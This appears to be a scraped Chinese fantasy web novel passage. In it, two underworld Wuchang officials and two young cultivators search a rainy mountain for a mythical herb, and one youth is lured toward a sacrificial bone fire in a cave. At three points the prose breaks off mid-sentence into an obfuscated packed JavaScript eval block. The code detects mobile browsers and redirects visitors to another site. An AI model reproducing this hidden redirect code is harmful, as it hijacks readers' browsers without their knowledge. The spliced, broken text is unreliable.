自以为已经来得够早的木明瑟打着哈欠下楼,一边揉眼睛一边坐到两人身边,心不在焉道:“我们有什么计划或者筹备么,比如地图之类的?” “没有。我跟师父才来江州不久,对这里也算不上很熟悉。”松枝坦言。 大约是因为要一起行动,他的态度不似初见一般拒人千里之外,但言行之间依然挥之不去那份近乎孤傲的疏离。一如他腰间的长剑,未出鞘也蕴含着摄人的寒意。 “唉,这么看来我们都是外地人。既然禊草长在更远山上,待会我们是要爬山吧,想想真是好累啊……”木明瑟话音未落又忍不住打了个呵欠,他仰头瞥了一眼安静的二楼,明显流露出对温暖床铺的恋恋不舍,“你家师父还在休息吗?” “师父修行之故,不便送行。不必打扰家师,若各位准备妥当,我们即可出发。”松枝不卑不亢道。 “那么你师父就一个人待在客栈里?”盛情难却淡淡道,与其说疑问更像是陈述。 短短语不惊人的一句话,却令少年沉默了。 松枝敛下眼睫,指尖无意识地叩着瓷杯。不像他师父一样随手成乐,他只敲出了几个短促的钝音,听得人也心头发闷。这一刹那忽然少年身上的傲然和锋芒都消散了,仿佛剑上蒙了一层尘埃。 “其实我有点担心。” 片刻后他终于开口,声音很低,大概不想说出这般示弱的话来。 “没什么不放心啦,你师父毕竟也是——” 木明瑟一席话未说完,突然响起轻轻的门轴转动声。 在座的三人,无论面露惊讶还是面无表情,都齐齐转头望去。 客栈大门被推开,清晨的阳光斜斜照入,空气中浮动的只有尘埃。所有的觥筹交错和喧哗嘈杂都凝固在过去,静得有些空洞。 恍如昨日重现。 在一瞬的错觉里,时间好像流转不息,又返回初始。一切皆为黄粱梦中。 身披黑斗篷的年轻人推门而入,晨光自他背后落下,略微驱散了那身无常装扮的阴气。他也和三人一样转头,彼此目光交汇,一霎时仿佛泉流泠然相碰,荡开细小的水花。 “吾辈其实也可以直接穿门而过,不过那样恐怕会惊吓到诸位。”春生秋杀愉快地打了声招呼,眼睛弯成一线,浅色的睫毛盖住那双赤红眼瞳。他的外貌令人惊异,笑起来却分外寻常亲切,宛如只是在一个普通的早晨顺道来拜访老友。 在场一时间谁都没有动。春生秋杀很有分寸地站在门口,只是微微歪着脑袋耐心等对面三人反应。 松枝神情还算平静,只是微不可察地呵了一口气。而旁边的木明瑟起初似乎呆住了,继而陷入了满头雾水的状态,目光来回在两位无常间跳动。他之前从盛情难却口中听说黑无常已经死了,现在显然正在尝试辨明新来的黑无常的身份。 盛情难却没有多费口舌撇清跟春生秋杀的关系。她嘴角上扬,露出一个常人见到熟人会有的笑容,映着她毫无波折的眼神却又略显空洞:“遇到麻烦了?” ——不过若是吾辈遇到什么麻烦,一定会来求助二位同僚的,到时候可不要弃吾辈于不顾呀。 春生秋杀微微一愣,似乎也没想到盛情难却还记得当初分别时的话。他笑着摇摇头,步履轻灵地走近桌边,“倒是没遇到什么麻烦……但也没有什么收获。刚才路过这里,听见里面传来说话的声音,就进来看看。” 他规规矩矩地坐在最后一侧座位,环顾周围三人,有些纳闷道:“各位大清早坐在这里是在干什么呢?” 他的一举一动虽然有自来熟的嫌疑,但其中并无惹人讨厌的轻浮之气,自然得如同一场春雨,很是妥帖地降落在人群里。 “打麻将,三缺一。”盛情难却说。 虽然明显这是在胡言乱语,春生秋杀却笑眯眯道:“呀,那吾辈来了岂不正好凑齐了人,快把牌码出来吧,吾辈也想难得消遣一下。” “盛姑娘是在开玩笑,这位无常就不要顺着她了。”木明瑟扶额。他对这位不期而至的黑无常仍然心怀警惕,但这位黑无常给人的印象实在颇容易相处,因此与他对话时语气也不免松弛下来。 春生秋杀眨巴眼睛,转向盛情难却,“我还不曾见过……这两个孩子是谁?” “谁是小孩子!”两人蓦地异口同声。 “啊哈哈,冒犯了。”春生秋杀连忙捂了捂嘴巴以示失言,权当赔罪一般爽朗道:“吾辈的名讳是春生秋杀,幸识各位。” 对方既已自报名称,木明瑟和松枝于是也轮流道出姓名。松枝又道:“对了,还不知道这位白无常大人叫什么。我听木公子似乎是叫盛姑娘?” “盛情难却。”披白斗篷的少女也礼节性地微笑一下,吐出这几个字。这两天她已经一而再再而三跟人告知自己的名讳,但也没有不耐烦的表现,只像是某种设计好的傀儡机窍,别人一问她就如是一答。 松枝点点头。他分明不喜欢无常,但称呼起来依然格外客气:“盛情大人。” “说起来‘松枝’这个名字有点奇怪啊,难道是姓松么?听上去不怎么像人名啊。”木明瑟顺嘴道。 “这是家师取的名字。另外,虽然我不姓松,但北境东山的确有松氏一族。”松枝睨了木明瑟一眼,不准他对自己的名字再发议论,“……言归正传,辰时已经过了,我们还是尽早出发好。” 唯一的局外人春生秋杀有点跟不上进度,“去哪里?” “更远山。你既然是此地的无常,不如就来替我们带路吧。” 盛情难却冷不防地提出要求——她甚至用的不是请求的语气,没有给对方选择的余地。松枝和木明瑟都略有些惊诧地看向她,而春生秋杀只是温和地笑了笑。 “那吾辈只能慨然领诺了,如果各位不介意的话。”他从善如流道,“不过那山上没什么东西呀,去那里要做什么?” “找禊草。”盛情难却惜字如金地说,“你可曾听说过?” “禊草?这好像不曾知道……不过吾辈也会尽力帮忙寻找的。”春生秋杀倒是欣然接受了任务。他旋即率先起身,很是积极道:“吾辈贸然前来,耽搁了各位的行程真是不好意思,不妨先出门,有什么话路上再说?” 众人于是纷纷起身。然而一行人刚走出客栈门,头顶上方突然掉下了什么东西,但来势并不猛烈,只盈盈带起一丝呜咽的风声。 其余三人都下意识地四散闪开,只有松枝站着不动,伸手精准地抓住了那支被扔下来的木箫。 众人抬头望去,二楼的露台上已经空空如也,不见掷箫之人。 “这是什么意思?”木明瑟不解。 “应该是师父希望我带着它,不过这支箫一直是师父随身带着的,为什么……”松枝喃喃了一句,仿佛明白了什么,神情却有些复杂。他轻轻抚过木箫,随后小心地把它收起来,恢复了礼貌而冷淡的模样:“无妨,走吧。” “怎么像是托付遗物似的……”木明瑟脱口而出。 “虽然不知道你师父是谁,不过在弟子临出门前赠予一物,应当是锦囊妙计之类能挽回危局的法宝吧。”春生秋杀行步如风地在前头领路,他的阐释显然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273334|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比木明瑟吉利多了。 “我学艺不精、法力有限,师父给我这支箫大概是以防万一的。” 这番话分明很谦卑,松枝的语气却依然高傲。也不知诸无这般随和的性子怎么养出脾气截然不同的徒弟来的。 “这支箫一看就不一般。”木明瑟一边拖着脚步赶路,一边言之凿凿地点评。那支木箫肉眼看着就是光秃秃一根,也不知他是怎么看出不一般的。他接着触景伤情地叹息:“你师父对你真好,不像我师父,给我的都是一些破破烂烂的东西。” “现今在这江州城内能活动自如的都不是一般人。”春生秋杀插嘴,“二位都是仙师门下?” 松枝点头,木明瑟则晃了晃脑袋:“我师父完全没有神仙的风骨,只是一个老术师……而且我已经出师了。” “我看木公子年纪轻轻,竟已出师,想必定然是天资卓绝。”春生秋杀惊讶道。 “那是那是。”木明瑟很受用。 “那明瑟你是术师啰,论捉鬼的话,跟我们无常还能算是同行呢。” “这么说来确实……不过怎么看都是我跟松枝更像同行吧。”木明瑟认真思索。 “这是坏事啊,同行太多竞争会很激烈的。”春生秋杀感叹,“就是因为各位都在捉捕妖魔鬼怪,地府的业绩才在逐年下滑啊。” 与略含肃杀之意的名讳和灰发红眸的妖异外貌相反差,这位黑无常待人接物起来如鱼得水。想必他勾魂的时候都不需动用铁链,那些游离的魂魄就会在谈笑风生中随他而去了。 “盛情……怎么走在这么后面?”春生秋杀回过头寻找落在队伍最后的盛情难却。方才她一直没有出声,他似乎是担心她掉队或者独自离开。 “习惯。”盛情难却距离前面几人五六步远,不冷不热地答了一句,没有要追上来的意思。 春生秋杀往前看了看,暂时是一条直路,没有他引路的必要。他脚步往旁边一让,转身悄无声息地来到盛情难却身边。 “你讨厌春天么?” 没提无常地府,没提江州之困,春生秋杀开口却没头没尾地问了个奇怪的问题。 “无所谓。” 不说“是”或“否”,也未反问“怎么了”,只是一句“无所谓”。盛情难却心想昨夜诸无的确说得不错,她跟那位半仙一样,对世上绝大多数事物的态度都不过是无所谓罢了。 春生秋杀抬手掀开兜帽,蒙蒙日光透过云层扑落在他柔软的灰发上。失去斗篷的遮掩,他乍然暴露在天光下的容颜会让见者不由再心惊刹那。 “只要不是讨厌春天的话,都会觉得江州城的春天很美吧。难怪有人说春日宜相逢。”他仰起头,像是要看尽这片黯淡天幕下鲜亮依旧的江州春色,笑吟吟地接话道,“盛情,你是从哪个辖地来的?” “阳平县。”盛情难却兴味索然地回答。 春生秋杀露出茫然的神情,“阳平县……吾辈记得那是个相当偏僻的辖区吧,分去那里真是时运不济呀。” “是我自己要去的。”盛情难却淡淡道,“宜相逢的何止是春季,说那句话的人只是那时心有所动,期盼邂逅罢了。” 春生秋杀睁大眼睛,“哎呀?方才吾辈只是随口一说,没想到盛情想了这么多。” “——你不是想跟我搭话么?” 一阵大风迎面刮来,盛情难却身上的斗篷却没有被风吹起一丝褶皱。现世的风惊动不了来自地府的无常。尽管如此,她还是拢了拢兜帽,目视前方、一字一句地说道。 “呵呵……那就多谢盛情你愿意陪吾辈聊天了。”春生秋杀似乎毫不介怀她不近人情的态度,轻松地笑了笑。他还想说什么的时候,却被突起的人声打断了。 “等等,我们为何要步行呢?分明可以直接用术法瞬移过去呀。”走在前头的木明瑟蓦然一拍双手,如梦初醒。 “ 8. 行不履危(二) “主意不错,但是我们无常不会瞬移的术法呢。” 春生秋杀原本要说的话被打断,干脆中止了与盛情难却的闲谈,转而惋惜地反驳木明瑟的想法。 木明瑟张了张嘴,显然有些始料不及,呆呆地问道:“那你们平常勾魂捉鬼都是步行的?” “会飘过去吧,虽然飘得还算快,不过跟那种缩地成寸还是不一样的。”春生秋杀轻飘飘地转了几圈演示,“如果是再长途的移动,比如从一个辖地迁到另一个辖地,就要通过地府,或者拜托土地神了。” 松枝在前面默默步行,没有作声。 “那你们就飘过去吧!”木明瑟笑容满面地凑到松枝面前,“松枝你直接御剑带我飞过去如何?” “请恕我无能为力。”松枝拒绝得非常断然。大概是为了彻底摆脱木明瑟的纠缠,又续了一句,“我不会御剑。” 木明瑟正一愣,后边的盛情难却丢来一句:“我拎着你走如何。” 她还是那种平静得犹如抽刀断丝的语调,难以分辨她的话究竟是嘲讽、玩笑,还是真心的。 她盯着木明瑟微微一歪头……看来是认真的。 “这么好的待遇,让吾辈都有点羡慕呢。”春生秋杀的祝贺更是煽风点火。 “还、还是算了……”木明瑟反而局促起来,他转了转眼珠,仿佛下定了什么决心,“要不然……我用缩地之术把大家都送过去吧!” 松枝:“方才木公子为何不说?” “毕竟缩地术也是要费力气的……不过总比走一路轻松些。”木明瑟干脆停下脚步不走了。 “缩地成寸本就不是那么容易的术法,若是还要捎人就更难。木公子可有十成的把握?”尽管木明瑟说得比走路还简单,同样懂得术法的松枝却有些怀疑。 “而且这术法对阴间之身有用么?”春生秋杀也善意地提醒自己和盛情难却的身份特殊。 “应当没问题,而且这里离更远山也就几里,要是去千里之外的帝都那还有点麻烦。” 木明瑟信口说出惊人之言,边说边不知从哪里掏出一张黄纸符箓,指尖唰唰往上面画了几个字符。不凭笔墨,纸上竟现出了朱砂般的痕迹。他两指一捻,一张符箓兀然变作三张。 和那时给盛情难却占卜一样,他施术画符看起来都相当随意草率。 啪的一下!木明瑟转手就把一张符贴到了离他最近的松枝额头上。 松枝被偷袭猝不及防,摸了摸额头,只能不满地皱皱眉,“非要贴额头么?照理应是要将符贴在鞋底的。” “贴这里比较省事嘛。” 木明瑟含糊地解释了一句,春生秋杀趁他分心,灵活地从他手下一闪,“哎呀呀,那让吾辈自己贴行吗?贴额头上感觉有点像僵尸啊。” 木明瑟一挥手,飞去的符箓不偏不倚拍在黑无常额头。他对自己的手法非常得意,扬眉看向盛情难却——白无常倒是木木地站着,跟前两个人比起来反而称得上乖巧,一副“随便你贴哪”的模样。木明瑟不敢造次,犹豫了一下,似乎想把符箓直接塞给她;不过为了显得一视同仁,他还是规规矩矩地把最后一张符箓往盛情难却额头上一贴。 “为什么你自己不贴?”春生秋杀异议。 木明瑟掸了掸手,满意地扫视三个额头贴着符箓的家伙,“因为我是施术人,而且不借助符箓也能行缩地术,好了——” “慢着!”松枝猛然喝止,难得流露出一点惊慌,“你画错了吧!这符头少了三笔,符胆也画得这么潦草——这符能用么?” “这你都能看出来?”木明瑟摸摸鼻子,似乎觉得不是什么大事,“我以前也这么画呀,没关系的,你们闭一下眼睛就好。” “不会眼睛一闭一睁,我们脑袋过去了身子没过去吧。”春生秋杀好奇道。 一阵鸡飞狗跳后,众人还是依言阖上了眼皮。只听木明瑟念叨了几句咒文之类的东西,然后又自言自语地嘀咕:“确实有点像僵尸……下次还是贴鞋底吧。” 他话音消散在连绵翻腾的涛声中。一阵风携着涌浪声而来,飒然揭掉了众人额上的符箓。 不用木明瑟开口,众人已经默契地睁开眼睛。入目竟是大片青翠,那哗哗的响声并非海涛,而是风掀起满山的树叶。江州地处大奉以南,故而山树四季常绿,四季都有叶落。 眼下风过如浪,落叶纷零如雨。 春生秋杀回头透过树林的缝隙望向远方,江州城金碧辉煌的琉璃瓦依然灼目。他肯定道:“此处就是更远山。” “既然已经来到山上,那就开始找吧。”松枝的表情很复杂,大概是对木明瑟乱画出来的符箓真能用而难以置信。 “不过,你们说的……禊草,究竟是什么样子?”春生秋杀终于追问,“吾辈见识浅薄,尚不知其特征。” “三月三,山中有禊草初生,状若风,服之得仙身长生。”松枝解释。他只引了那本志异录中的一句话,因为关于这种传说中的仙草,所知仅限于此。 “松枝你看着年纪尚轻,就要谋求长生么?”春生秋杀有些诧异。 “并非是我。只是家师身体抱恙,想寻一味药材以图治愈。” 春生秋杀点点头,没有多问,“吾辈明白了,但更远山绵延广阔,恐怕找起来不太容易呢。” “而且……状若风究竟是个什么形状?这描述也好含糊啊。”木明瑟又打了个哈欠,“话说我们是不是来得太早了,天都还没全亮呢。” “不是太早,是要下雨了。”盛情难却无情道。 天上果然云层翻滚,连稀薄的日光也逐渐黯然,山风更是一阵急过一阵。松枝忽然一抹脸颊,微微一道水痕。紧接着零星的雨滴就穿过树叶打了下来。 “恐怕要下暴雨,安全起见,还是暂时一起行动。”盛情难却平静道。 “那不妨两两一组,也好找得快些。”松枝做出判断,“我就——” “我跟你一起。”盛情难却截断他的话。 松枝眉头一跳,显然这不是他预想中的分组,但一边的木明瑟已经大咧咧地同意了,春生秋杀也歪歪头表示没意见。他也只能敛下神情默认了。 “这样的话——”木明瑟思索了一下,从袖子里摸出三只折好的纸鹤,分给旁边三人一人一只,“如果遇到什么事情,就拆开纸鹤往上面写字,想要汇合的时候也可以让纸鹤引路。” 寂然中,天地间仿佛只剩下了萧萧的雨声。 盛情难却不是什么话多的人,而松枝更是只顾着专心致志寻找禊草。少年时不时弯下腰观察地上丛生的草木,他起初还撑着伞,然而张着伞在林间穿梭实在不方便,他干脆就收了伞,任由大雨兜头淋下。 雨幕模糊了视线,想要在这种天气找东西更是难上加难,何况要找的又是一株不知模样的草。 附近的盛情难却姑且是在仔细寻觅,不过比起寻找传说中的仙草,她更在意要找的是关于江州异境的线索。她也不算不用心,只是觉得就算山上真的有禊草这种东西,如此大海捞针的找法十之八九也是找不到的,天下哪有如此巧合之事。 她瞥了前面的松枝一眼。他究竟是怎么想的呢?他真的认为更远山上会有禊草么?真的认为能找到某种神秘的仙药,一举治愈他师父么? “淋这么大的雨,不怕生病?”她突然出声,清而硬的音色在雨声中仍然明晰。 四人临散开时雨已经下大了。两位无常并非凡间身,自然也不会淋到雨;木明瑟则匆匆忙忙画了个水火不侵符,这种符通常可挡洪水烈火,用来防雨着实大材小用。只有松枝既不用符,也无仙气护身,只是默默擎出一把伞。 白无常对仙术灵力并不了解,初见时她能看出松枝魂魄异于常人,但直到现在才发觉他的法力出乎意料的平庸。 而他宁可被雨淋,当初也没有开口跟木明瑟讨要一张防水符。 “……没事的,我平常都不会生病。多谢盛情大人关心。”松枝甩开湿成一绺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273335|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一绺的头发。被雨淋得狼狈的他看上去不像什么仙师之徒,只是一个刚及束发年纪的有些单薄的普通少年。 两人无话要说,再次回归了沉默。又各自散开了片刻,盛情难却一抬眼,见松枝不知何时已经走出好一段路,人影隔着重重雨幕已然有些缥缈。他似乎有点着急起来,脚步比先前快了几分。 盛情难却拢了拢斗篷,正要跟上去,松枝的身影却微微一晃,倏忽隐入瓢泼大雨中。 只在这一瞬,盛情难却看清了——松枝是随着暴降的大雨坠落了下去! 原本慢吞吞尾行在后面的白无常转瞬闪身至前。而前方赫然一道深涧,犹如巨兽裂开的口齿,只听得底下的水流在雨中奔涌如雷,腾起的水雾弥漫,几乎看不清涧底的情形。 崖边的一处草叶凌乱,是人失足滑下的痕迹,而那点擦痕在狂风暴雨中也很快被抹去了。 松枝恍惚了一刹那,刹那之后失重感便将被雨浇得有些混沌的头脑激醒。他虽然惊得几乎心脏停跳,仍然挪动唇舌默念口诀,抽出腰间佩剑回身用力插入山崖中,脚步也随之踏上崖壁。一阵泥沙俱下,剑刃豁然划开数尺土石,终于带着他堪堪停下。 松枝长长吐气平稳气息,仰头望去,只见高峻的山崖和低得仿佛要压在头顶的黑云。他提气凝神,尚且还能稳住身形,但雨流如注砸在身上,沉重得仿佛无数箭矢要将人往下钉去,支撑长剑的沙石在雨中也逐渐松散。 这样下去,不出半炷香他就会再次摔落崖底。松枝咬着牙再次默念心诀——这些剑诀他都能倒背如流,可手中长剑只是微微颤动了一下,微弱的剑鸣声被盖在雨声之下。 他没有把握能够御剑,更谈不上直接驭风,身上带的一些法器也大多是降妖除魔之用,派不上用场。此刻他独身挂在山崖间,上不接天,下不着地,竟束手无策。 身为半仙的徒弟……身为师父的徒弟,这样的葬身之地也未免太荒谬。可是一直以来他已经拼尽全力地在努力修炼了,所有心法古籍都熟记于心,但仙法的长进不过是连他自己都想发笑的程度。 为什么?为什么!但凡他能有一点那位同行术师的天赋—— 松枝脸上那种不甘心的表情仿佛被大雨一点点冲淡,最后露出一丝从不显于人前的轻薄的自嘲。 如果自己就这样掉下去而死,师父会悲伤,会遗憾,还是会觉得……生死都是寻常事呢? 察觉到脚下的沙土开始崩落,他忽然身心一空,再无挂念,抓着剑柄的手缓缓泄去力气。 “想死了么?”森森的声音穿透雨幕而来。 一幅巨大的白布忽然卷住了他的腰身,恰在此时长剑从崖壁中滑脱,松枝失去支撑,摆锤一样顺着拴住他的布条在半空晃荡起来。 他勉力抬起头,看见白无常轻若无物地立在崖壁横生的一根枯枝上,手中的引魂幡幡布一如水瀑直挂下来。 盛情难却低头俯视松枝。他似乎想开口说话,却被雨水呛了一口,正不住地咳嗽。 毕竟幡布卷的不是魂魄,而是一具血肉之躯,多少还是有些分量的。她不想费这个力气太久,幡布带着松枝晃悠着继续延伸,直接降到了涧底。她也随之一跃而下。 松枝平安落地,正灰头土脸地从一堆白布里爬起来。但他神情间已经回到一贯的孤傲,不见半点方才一刹的脆弱。 奇怪。盛情难却收回引魂幡,心里冷冷地想。松枝不像是会轻易丧失生欲的人——何况他根本不至于粗心得会摔下山崖。 是因为这场滂沱的大雨么? “太高了上不去,沿着这条山涧往前走吧。”她直截了当道。 “这么大的雨,路怎么都不好走,不如先进山洞躲一躲。”松枝一振长剑,和着雨水抖开剑身的泥土,收剑入鞘,往旁边走去——那里还当真有一个山洞。 “真巧。”盛情难却不动声色地睨视了一眼,跟在他身后进了山洞,“就跟话本上一样,在山上迷路都能遇到一个山洞过夜。” 9. 行不履危(三) “盛情大人也会看话本么?”松枝大概是出于客套才接话。 因为辖地偏僻,盛情难却和天衣无缝两个无常当职当得分外清闲。无事可干时,天衣无缝会说书一样讲些话本小说权当消遣,也不知他从哪看来那么多故事,或许是生前常讲给他妹妹听。盛情难却虽然对这些话本故事没什么特别的兴趣,不过可能是天衣无缝念叨多了,现在回想起来发觉她竟还记得许多情节。 “有人给我讲过一些。”盛情难却淡淡地说,收住了这个话题。 外面雨云蔽日,山洞里更是漆黑一片。松枝取出一颗珠子照明,霎时清光如月,照彻数尺,连洞里的阴冷也驱散了几分。这显然不是普通的夜明珠,而是某种法器。 “你师父对你很好。“盛情难却目光落在那颗珠子上,突然道。 松枝微微一愣。这句话木明瑟也曾说过,不想白无常也对他这么说。 “这珠子不是凡品吧。诸无能给你这个,待你很好。” “师父自然是世界上最好的师父。”松枝用不以为意的口气说。诸无以前偶尔会赠给他些法器,松枝觉得太过珍贵就拒而不收;后来诸无就换了说辞,口头只是让他帮忙拿着,之后就像忘了这回事一般再不提起,实际上算是送给了他。松枝自然也察觉到了这一点,师徒俩就默契地“托管”着这些器物。 “不过这些东西虽说有些很珍稀,我师父他其实是不在乎的。” 松枝举着珠子往前照去,“而且……我也有愧于师父。盛情大人,刚才多谢你救我。” 他连带着道了句谢,盛情难却没理会,一语破的地问:“什么有愧?” “我天资太差。无论师父教我什么剑诀和法诀,虽然我都能领会,但总是用不好。”松枝倒是毫不隐饰,坦率反而一如他的心高气傲,“比如这颗探骊珠,原本能平江镇海,但在我手里也只能用作照明罢了。所以有时会觉得丢师父的脸,况且有时还会拖累师父。” “是么。” “而且就是因为我这么没用,所以也……找不到能治好师父的办法。” 松枝的语气向来是礼貌疏冷的,但此时他似乎是被坠崖一事所激,话里透出淡淡的尖刻。 盛情难却想起初见松枝时,少年身姿挺拔,犹如霜剑;但此刻这种尖锐不再如同锋刃,只像是一片薄瓷,触摸起来坚硬、锋利、美丽,实际上脆而易碎。 他的孤高傲气并非是轻视旁人,恰恰相反,是他不想令旁人轻蔑他。 “莫说是你,诸无自己都治不好自己的病。再说他难道会在乎你的天资如何?”她冷冷道。 “是啊。”片刻之后,松枝轻轻地笑了一下,“师父连自己的生死都不在乎。” “所以你跟你师父有所不和,就是因为这个?”盛情难却问得直白。 “只是有些争执。我想要师父至少多看重身体一点,他总是一副什么都不在意的样子。”松枝直言不讳。 “是么。”盛情难却又这么简单应了一声,便戛然而止。 ——你是想要诸无更看重自己的生死,还是想要他更看重你? 这句话她没问,也不需要问。高傲也好,惭愧也好,大概都是不甘心罢了。不甘心自己天资庸常,不甘心自己在师长眼中只是与他物平齐的地位——所以松枝才不高兴诸无那副对什么都云淡风轻的态度。 只是……她忽然有些恍神,似乎这种不甘心她也曾在另一个人身上感知到过,而且更加自私,更加……贪婪。 “你讨厌无常。”她最后说,用的是陈述的语气,因为她已经知道了原因。 松枝不再客气了:“讨厌、害怕、忌讳……都差不多吧。就像是家中有病人,家属若是见到有乌鸦飞来,难免心中不快。” “乌鸦只是喻示恶兆罢了,无常可是来勾魂的。”盛情难却面不改色道,“如果当初我是为了索你师父魂魄而来,你会杀了我么?” “盛情大人觉得我做得到么?” “你身上类似探骊珠的法器应当还有几件吧?有些想必不借助仙法也能施展,你师父特意给你护身之用。” “……我知晓无常并无死亡一说。”松枝大概觉得她越说越古怪,警觉地看了她一眼,答非所问地结束了对话,加快步伐往前走去。 在探骊珠的明光照耀下,两人安静地往山洞里前行。菲薄的凉意中,山洞外的风雨声已经听不见了。 这个山洞竟然深不见底,而且形状不完全像是天然形成的。 “你先回洞口,我去看前面有什么。”盛情难却停下脚步,以一个阻挡的姿态转身面对松枝。这山洞显然有古怪,她不想节外生枝。 松枝目不斜视,并未领受她的命令,“盛情大人是觉得我累赘?” “想要保证你的安全罢了。”盛情难却措辞还算委婉。 松枝却很固执:“不用了,我也想看看前面有什么。而且……也不一定能回得去。” 他拧了拧自己的袖子,绞出两滴水来。山洞并无岔道,照理并不会迷路,但两人走了许久还未见到尽头。松枝身上的衣服几乎都快晾干了。 “走了多久了?”盛情难却道。她拈出那只木明瑟给的纸鹤,没有展开,直接一抛。那纸鹤扑扑翅膀,朝来时路飞走了。 “没有能计时的东西。”松枝面色略微沉重,但并不惊慌,“而且待在这地方也会混淆时间。” 没有回头打算的两人继续向前,又是不知过了多久,好似无穷无尽的山洞终于起了点变化——一缕香气若有若无地飘荡在空气中,以至于前方朦朦的微光都像是随之产生的幻觉。 那太阳一般的光芒随着走近越来越明亮,带着微微的暖意,甚至压过了探骊珠的清光。仿佛是瓢泼的大雨已经停止了,初晴的日光与花香漫入山洞。 “莫非是到出口了?”松枝将珠子收了回去,语气却没有轻松下来,反而改手抓紧了佩剑。 两人都下意识地眯了眯眼。原本狭小的洞道忽地豁然开朗,可出现的并非是连通外界的洞口,而是一个高而宽的洞厅。那丛炽如白日的光芒竟然是来自洞厅中央烈烈燃烧的火焰,而架起这堆火的不是柴薪——是错杂垒起的根根白骨! 骨头不是易燃的东西,但其上的火却烧得极盛。火堆周围立着几根木杆,跟盛情难却手中的引魂幡有些相似,只是木杆上挂的布条色彩极为艳丽,在火焰鼓动的气流中摇曳不止。 诡异的骨火之后,一个高挑的男人背对而立,透过跃动的火焰,只能隐约看到他身披样式奇异的长袍。他对两个不速之客的到来毫无反应,静静站在高台上。 盛情难却在洞厅的入口处停步,视线扫过洞厅阴影处倒吊栖息的蝙蝠群。而原先分外戒备的松枝却神态一懈,直直朝火堆走去。 他似乎被火堆中的什么吸引,不顾一切地越走越近,流溢的火焰马上就要窜上他的衣角,他却视若无睹。再有数尺之遥,他就要扑进火焰中,被烧成白骨的其中一具—— 白幡布勾住他的肩膀,硬生生把他拽了回来。 “松枝。”盛情难却平声叫他。她跟松枝身高相仿,抬手很容易就揪住了他的衣领。 少年目光空白,恍若未闻,瞳孔中跳跃着迷幻的火光。他伸手去扭盛情难却的胳膊,试图从她的钳制中挣脱出来。 盛情难却已经明白过来——恐怕从失足跌下山崖时,松枝就已经被某种力量迷惑,这才一路罔顾异样进入山洞。 哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273336|139961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕是外行人,也能看出这阵势像是某种祭祀。而被诱引来的人……自然就是祭品。 她伸指在松枝额心重重一点,松枝浑身一颤,终于回神。 “是……是巫术。”他如梦初醒,捂着额头急切道,“我对南地巫术了解不深……此地不可久留!” “你走吧。”盛情难却淡淡道。白幡如蛇吐信一般卷向火堆后的男人,却落了空。 披着长袍的人影兀然出现在面前。它竟然只是一具空荡荡的木架,被披上了长袍和长发,扮作了男子的模样,脸部则是一副奇异的面具。 它没有所谓的手臂,长袍的袖管轻柔地扬起,像是要去抚摸松枝的头顶。 来不及离开的松枝侧头一闪,有意不去看面具黑洞洞的眼窝,反手抽出佩剑。盛情难却手中的引魂幡也如缭绕的雾气一般眨眼铺洒开来,从头到脚层层捆住了木人。 松枝一剑横斩!他灵力薄弱,但那柄剑本就是如切青玉的绝刃,即使未施仙法,却似乎感应到主人的杀意,霜华如绽,只一剑便拦腰斩断了木人。 松枝动作一顿。这木头架子被装饰得古怪而又威严,却没想到简单一剑就能劈倒,连剑上都还有余力未泄。他蹙起眉毛,忽然觉得后颈一寒,本能地转头,正与那副黑底绘金的诡异面具相对。 若有若无的异香忽然浓烈起来。细细的歌乐声也随之响起,仿佛巫女在且歌且舞,唱着古老而晦涩的祭词。 被斩断的木人竟然瞬息间又出现在松枝身后,袍袖紧紧缠住了他的脖颈,将他往火堆拖去。 松枝挣扎着刺出一剑,只虚虚刺中了那云遮雾绕的长袍。 女人的声音还在吟唱调子古怪的巫祝祭歌,松枝的目光再次开始涣散,手腕一软,长剑掉在了地上。 白无常几乎同时扑了上去,手指扣住木人的面具。她的手分明骨瘦如柴,力气却大得不可思议。须臾之间,嘣的一声脆响,那副面具竟被她凶狠扯下。 盛情难却突然握紧拳头。她的手中空空如也,而木人的脸上,赫然还是一副一模一样的面具。 这个山洞是祭祀之地,松枝是祭品,那么……这个被隆重装扮的木人就是被祭祀的神灵的象征,凌驾一切,不可侵犯。 盛情难却微微抿起嘴角,这点表情跟她偶尔装出来的喜怒哀惧不同,真正显露出她觉得事情有些麻烦。这木头架子不是活物,也没有魂魄,无法使用无常的勾魂和索鬼之术。所谓术业有专攻,若松枝先前说得不错,这是南地的巫术,她虽然不会像松枝一样被蛊惑,但作为专司鬼魂的无常也没有能应付的方法。 两人被拖着离火堆越来越近。盛情难却拉不住木人,干脆撒了手。 